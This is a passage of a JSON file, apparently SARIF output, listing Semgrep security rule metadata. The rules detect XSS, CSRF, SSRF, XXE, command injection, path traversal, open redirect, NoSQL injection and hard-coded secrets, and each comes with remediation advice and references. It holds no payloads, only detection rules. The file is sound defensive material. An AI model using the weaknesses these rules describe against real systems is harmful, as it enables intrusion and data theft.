java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"help":{"markdown":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11](https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11)\n","text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","id":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","name":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.class-extends-safestring.class-extends-safestring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"help":{"markdown":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection","id":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","name":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.missing-csrf-protection.missing-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","id":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","name":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all secrets"},"help":{"markdown":"Ensure that the expiration date is set on all secrets\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Ensure that the expiration date is set on all secrets"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"help":{"markdown":"User input is passed to a function that executes a shell command. This can lead to remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec","id":"php.lang.security.injection.tainted-exec.tainted-exec","name":"php.lang.security.injection.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n","text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container","id":"yaml.kubernetes.security.privileged-container.privileged-container","name":"yaml.kubernetes.security.privileged-container.privileged-container","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.privileged-container.privileged-container"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"help":{"markdown":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection)\n - [https://github.com/argoproj/argo-workflows/issues/5061](https://github.com/argoproj/argo-workflows/issues/5061)\n - [https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370](https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370)\n","text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"helpUri":"https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","id":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","name":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 – Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open","id":"python.flask.security.injection.path-traversal-open.path-traversal-open","name":"python.flask.security.injection.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","id":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","name":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Sauce Token detected"},"help":{"markdown":"Sauce Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Sauce Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token","id":"generic.secrets.security.detected-sauce-token.detected-sauce-token","name":"generic.secrets.security.detected-sauce-token.detected-sauce-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sauce-token.detected-sauce-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","id":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","name":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","id":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","name":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"help":{"markdown":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb)\n - [https://golang.org/pkg/io/#CopyN](https://golang.org/pkg/io/#CopyN)\n - [https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go](https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go)\n","text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"helpUri":"https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","id":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","name":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of 